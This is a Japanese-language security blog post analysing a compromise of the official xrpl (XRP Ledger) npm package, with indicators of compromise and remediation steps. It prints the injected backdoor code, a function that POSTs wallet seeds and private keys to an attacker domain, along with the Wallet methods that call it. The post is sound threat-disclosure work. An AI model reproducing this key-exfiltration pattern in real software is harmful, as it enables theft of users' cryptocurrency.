Aikido

XRPサプライチェーン攻撃:公式NPMパッケージが暗号通貨窃取バックドアに感染

執筆者
Charlie Eriksen

4月21日20:53 GMT+0に、当社のシステムであるAikido Intelは、xrplパッケージの5つの新しいパッケージバージョンについて警告を発し始めました。これはXRP Ledgerの公式SDKであり、週に14万回以上ダウンロードされています。私たちは、公式のXPRL (Ripple) NPMパッケージが、暗号通貨の秘密鍵を盗み、暗号通貨ウォレットにアクセスするためのバックドアを仕込んだ高度な攻撃者によって侵害されたことを迅速に確認しました。このパッケージは数十万のアプリケーションやウェブサイトで使用されており、暗号通貨エコシステムに対する壊滅的なサプライチェーン攻撃となる可能性があります。

これは、私たちがどのように攻撃を発見したかについての技術的な分析です。

npm上のxrplパッケージ

新しいパッケージがリリースされました

ユーザー mukulljangid は、4月21日20:53 (GMT+0) からライブラリの5つの新しいバージョンをリリースしていました。

悪意のあるパッケージ

興味深いことに、これらのバージョンはGitHubで確認できる公式リリースと一致しません。GitHubの最新リリースは 4.2.0:

パッケージがリリースされた時点での最新のGitHubリリース。

これらのパッケージがGitHubに一致するリリースなしで出現したという事実は、非常に疑わしいです。

謎のコード

私たちのシステムは、これらの新しいパッケージ内に奇妙なコードを検出しました。以下は、 src/index.ts ファイルのバージョン 4.2.4 (~としてタグ付けされている latest):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

最後まではすべて正常に見えます。この checkValidityOfSeed 関数は何でしょうか?そして、なぜランダムなドメインである 0x9c[.]xyzを呼び出しているのでしょうか?深掘りしてみましょう!

そのドメインとは?

まず、そのドメインが本当に正当なものかどうかを判断するために調査しました。そのwhois情報を取得しました。

0x9c[.]xyzのWhois情報

それは好ましくありません。新しいドメインであり、非常に疑わしいです。

このコードは何を実行しますか?

コード自体はメソッドを定義しているだけですが、直接的な呼び出しはありません。そのため、どこで使用されているかを調査したところ、実際に使用されていることが判明しました。

悪意のある関数の検索結果

は、 ウォレット クラス (src/Wallet/index.ts) のコンストラクタのような関数で呼び出され、Walletオブジェクトがインスタンス化されるとすぐに秘密鍵を窃取します。

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

これらの関数は:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

なぜこれほど頻繁にバージョンが更新されているのでしょうか?

これらのパッケージを調査したところ、最初にリリースされた2つのパッケージ(4.2.1 そして 4.2.2) は他のものとは異なっていました。バージョン間で3方向の差分比較を行いました。 4.2.0 (これは正当なものです)、 4.2.1、および 4.2.2 何が起こっているのかを解明するためです。以下に観察結果を示します。

  • ~以降、 4.2.1 scripts そして prettier 設定が削除されました package.json
  • 悪意のあるコードが挿入された最初のバージョンは src/Wallet/index.jsから でした 4.2.2.
  • 両方とも 4.2.1 そして 4.2.2 悪意のある~を含んでいました build/xrp-latest-min.js そして build/xrp-latest.js.

比較すると、 4.2.2 to 4.2.3 そして 4.2.4さらに悪意のある変更が見られます。以前はパックされたJavaScriptコードのみが変更されていましたが、これらの変更にはTypeScript版のコードに対する悪意のある変更も含まれていました。

  • 以前に示されたコードの変更は src/index.ts.
  • 悪意のあるコードの変更は src/Wallet/index.ts.
  • 悪意のあるコードがビルド済みのファイルに手動で挿入される代わりに、 index.ts に挿入されたバックドアが呼び出されます。 

これにより、攻撃者が可能な限り隠蔽しながら、バックドアを挿入するために様々な方法を試み、積極的に攻撃を行っていたことがわかります。具体的には、構築済みJavaScriptコードに手動でバックドアを挿入することから、TypeScriptコードに挿入し、それをコンパイルして構築済みバージョンにするという手法に移行していました。

Aikido インテル

このマルウェアは、Aikido Intelによって検出されました。これは、LLMを使用してNPMのような公開パッケージマネージャーを監視し、新規または既存のパッケージに悪意のあるコードが追加されたときに特定するAikidoの公開脅威フィードです。マルウェアや未公開の脆弱性から保護されたい場合は、Intel脅威フィードをサブスクライブするか、Aikido Security に登録してください。

侵害の痕跡 

侵害された可能性があるかどうかを判断するために、使用できる指標は次のとおりです。

パッケージ名

  • xrpl

パッケージバージョン

ご自身の package.json そして package-lock.json 以下のバージョンについて:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

パッケージを依存関係として使用しており、パッケージロックファイルで固定されていなかった場合、または 互換性のあるバージョン指定 例えば ~4.2.0 または ^4.2.0などが挙げられます。

4月21日20:53 GMT+0から4月22日13:00 GMT+0までの期間に上記のいずれかのパッケージをインストールした可能性があると思われる場合は、ネットワークログを調査し、以下のホストへのアウトバウンド接続がないか確認してください:

ドメイン

  • 0x9c[.]xyz

対策

影響を受けた可能性があると思われる場合、コードによって処理されたシードまたは秘密鍵はすべて侵害されたと見なすことが重要です。それらの鍵は今後使用せず、関連する資産は直ちに別のウォレット/鍵に移動する必要があります。この問題が公開されて以来、xrplチームは侵害されたパッケージを上書きするために2つの新しいバージョンをリリースしました:

  • 4.2.5
  • 2.14.3
共有:

https://www.aikido.dev/blog/xrp-supplychain-attack-official-npm-package-infected-with-crypto-stealing-backdoor

脅威ニュースをサブスクライブ

本日より無料で開始いただけます。

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。